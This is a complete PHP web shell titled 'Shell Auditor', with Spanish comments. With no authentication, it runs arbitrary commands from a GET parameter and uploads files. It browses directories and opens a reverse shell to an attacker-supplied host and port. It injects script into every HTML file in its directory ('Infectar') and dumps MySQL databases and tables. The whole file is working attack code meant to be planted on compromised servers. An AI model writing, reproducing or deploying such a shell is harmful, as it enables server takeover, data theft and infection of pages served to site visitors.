<?php
class conectar{
	function conectar(){
	}
	function bbdd($server,$user,$pass,$bbdd){
		$connect = mysql_connect($server, $user, $pass);
		if ($bbdd != NULL){
			mysql_select_db($bbdd,$connect);
		}
		return $connect;
	}
	
	//CONSULTA SI PREGUNTO POR BASE DE DATOS, TABLAS O DATOS
	function consulta($tabla,$bd,$datos){
		if ($bd == true){
			$consulta = "show databases";
		}elseif($datos == true and $tabla != "") {
			$consulta = "select * from $tabla"; 
		}elseif($tabla == true) {
			$consulta = "show tables";
		}else{
			echo "Error: datos no validos";
		}
		return $consulta;
	}
	
	//HACE LA CONSULTA SOBRE TODAS LAS BASES DE DATOS
	function mostrar_basededatos($conectar_,$connect){
		$query = mysql_query($conectar_ -> consulta("",true,""),$connect);
		//Aca mostramos las bases de datos.
		$numcolumn = mysql_num_rows($query);
		echo "<select name='bbdd'>";
		for($x=0;$x<=($numcolumn-1);$x++){
			$codigo=mysql_result($query,$x,0);
			echo("<option value=$codigo>$codigo</option>");
		}
		echo "</select>";
	}
	
	//HACE LA CONSULTA SOBRE LA BASE ELEEGIDA
	function mostrar_tablas($conectar_,$connect){
		$query = mysql_query($conectar_ -> consulta(true,"",""),$connect); 
		//Aca mostramos las bases de datos.
		$numcolumn = mysql_num_rows($query);
		echo "<select name='tabla'>";
		for($x=0;$x<=$numcolumn;$x++){
			$codigo=mysql_result($query,$x,0);
			echo("<option value=$codigo>$codigo</option>");
		}
		echo "</select>";	
	}
	//HACE LA CONSULTA SOBRE LA TABLA ELEGIDA.
	function mostrar_datos($conectar_,$connect,$tabla){
		$query = mysql_query($conectar_ -> consulta($tabla,"",true),$connect);
		$query2 = mysql_query("select count(*) from $tabla",$connect);
		//Aca mostramos las bases de datos.
		$numcolumn = mysql_num_rows($query);
		//echo "<select name='datos'>";
		//for($x=0;$x<=$numcolumn;$x++){
		//	$codigo=mysql_result($query,$x,0);
		//	echo("<option value=".$codigo.">".$codigo."</option>");
		//}
		//echo "</select>";
		
		echo ("<table border=1>");
		for ($contador=0; $contador<$query2;$contador++){
			$a = mysql_fetch_row($query);
			echo "<tr>";
			for($contador2=0;$contador2<$numcolumn;$contador2++){
				echo ("<td>".$a[$contador2]."</td>");
			}
			echo "<tr>";
		}
		echo("</table>");
	}
}
?>
<html>
<head>
	<title>Shell Auditor</title>
	<script language="javascript" type="text/javascript">
		function recargar(direccion){
			document.getElementById("rutaParaLeer").value=direccion;
			document.fRutas.submit();
		}
	</script>
</head>
<body>
	<center>
		<img src=http://s1.subirimagenes.com/fotos/previo/thump_118985129.jpg>
	</center>
<hr>
<form method="get" enctype="multipart/form-data" action="" name="fRutas" id="fRutas">
<input type="hidden" value="" name="rutaParaLeer" id="rutaParaLeer">
<center>
 <table border=2 cellpadding="10">
  <tr>
   <td colspan=3>
    <?php
    	echo php_uname();
		if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
	    	$OS = "WIN";
		} else {
    		$OS = "X";
		}
    ?>
   </td>
  </tr>
  <tr>
   <td>
   Subir archivo:
    <?php
	if($_GET['upload']) {
		if (is_uploaded_file($HTTP_GET_FILES['archivo']['tmp_name']))
		{
			copy($HTTP_GET_FILES['archivo']['tmp_name'],$HTTP_GET_FILES['archivo']['name']);
		echo ("True");
		}
	}
    ?>
    <br><input type="file" name="archivo"><input type="submit" value="Subir" name="upload">
   </td>
   	<td>
	Path /:<br>
	<input type="text" name="path_manual"><input type="submit" name="botonpath" value="Ir">
	</td>
	<td>
	Disk win:<br>
	<select name="path_disk" <?php if(!strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){ echo("disabled='disabled'");}?> >
		<option value="C:\\">C:</option>
		<option value="D:\\">D:</option>
		<option value="E:\\">E:</option>	
	</select>
	<input type="submit" name="botondisk" value="Ir">
	</td>
	</tr>
 </table>
<hr>
 <table border=1>
  <?php
	if ($_GET["botonpath"]){
			$HTTP_GET_VARS["rutaParaLeer"] = $_GET["path_manual"];
	}else{
		if ($_GET["botondisk"]){
			$path = $_GET["path_disk"];
			$HTTP_GET_VARS["rutaParaLeer"] = $path;
		}
	}
	$manejador = opendir($HTTP_GET_VARS["rutaParaLeer"]);
	@rewinddir($manejador);
	while ($contenido=@readdir($manejador)){
		echo("<tr>\n");
		echo ("<td width=300>");
		$nuevaRuta=$HTTP_GET_VARS["rutaParaLeer"].$contenido."/";
		if (is_dir($nuevaRuta)){
			echo ("<a href='javascript:recargar(\"".$nuevaRuta."\")'>");
			echo("<img src='http://img408.imageshack.us/img408/4720/directorio.giff' alt='Directorio' border=0>");
			echo("</a>");
		}else{
			echo ("<img src='http://img251.imageshack.us/img251/509/fichero.giff' alt='Fichero'>");
		}
		echo ("<b>$contenido</b>");
		echo ("</td></tr>\n");
	}
	@closedir($manejador);
  ?>
 </table>
 </center>
 <table border="0" cellspacing="20">
 <tr>
 <td>
   Comandos:<br>
    <input type="text" name="cmd"><input type="submit" value="Ejecutar"><br>
    <?php
     if ($_GET["cmd"]) {
	     $CMD = $_GET["cmd"];
	     exec($CMD,$salida);
	     echo ("Comando: ".$CMD."<br>");
	     echo ("Salida:<br>");
	     foreach($salida as $linea){
			echo("$linea<br>");
		
	     }
		echo("</td></tr></table>"); 
     }
    ?>
</td>
<td>
</td>
</tr>
<tr>
<td>
<br>
Shell reverse:<br>
<?php
	if ($_GET["shellreverse"]){
		$host_ =  $_GET["host_hack"];
		$port_ = $_GET["port_hack"]; 
		$conn = fsockopen($host_,$port_);
		$tmp = fgets($conn,1024);
		while ($tmp != "quit"){
			$out = "";
			@exec($tmp,$out);
			foreach ($out as $line){
				@fputs($conn,$line."\n");
			}
			fputs($conn,"Pshell > ");
			$tmp = fgets($conn,1024);
		}
		fclose($conn);
	}
?>
Host:
<input type="text" name="host_hack" value="<?php echo $_SERVER['REMOTE_ADDR']; ?>"><br>
Port:
<input type="text" name="port_hack"><br>
<input type="submit" name="shellreverse" value="Shell reverse">
</td>
<td>
Injeccion al HTML:<br>
<input type="text" name="inf_inj" value="<script>alert('Infectando maquina')</script>">
<input type="submit" name="infect" value="Infectar">
<?php
	if($_GET["infect"]){
		$inj = $_GET["inf_inj"];
		//buscando archivo para infectar
		$dir = opendir(getcwd());
		while($infectado = @readdir($dir)){
			if (ereg(".html",$infectado)){
				if (is_file($infectado)){
					$abrir_r = file($infectado);
					$abrir_w = fopen($infectado,"w");
					foreach($abrir_r as $line){
						fwrite($abrir_w,$line);
						if(eregi("<body>",$line)){
							fwrite($abrir_w,$inj);
						}
					}
					fclose($abrir_w);
				}
			}
		}
	}	
			
?>
</td>
</tr>
<tr>
<td bgcolor="gray">
<center><h1><b>HACK - BBDD</b></h1></center><br>
<?php
//#####DATOS DE LA CONEXION#####
$server = "127.0.0.1";
$user = "";
$pass = "";
//###############################

//EMPIESA EL FORMULARIO.
echo ("<form name='form1' id='form1' method='get'>"); 

//########CONNECT Y MOSTRAR BBDD ##########
$conectar_ = new conectar();//creamos el objeto
$connect = $conectar_ -> bbdd($server,$user,$pass,$bbdd);//usamos el objeto creado 
$mostrar = new conectar();
$mostrar -> mostrar_basededatos($conectar_,$connect);
echo "<br><br>";
//###############################

//######### VER LAS TABLAS DE LA BASE ELEGIDA #############
if ($_GET["bbdd"]){
	$mostrar -> mostrar_tablas($conectar_,$connect);
	echo "<br><br>";
}
//###############################

//######### VER LOS DATOS DE LA TABLA ELEGIDA #############
if($_GET["tabla"]){
	$mostrar -> mostrar_datos($conectar_,$connect,$_GET["tabla"]);
}


//###############################

//CREAR BOTON Y TERMINAR FORMULARIO
echo ("<input name='boton' type='submit' value='Enviar'>");
echo ("</form>");

?>
</td>
</tr>
</table>
</form>
</body>
</html>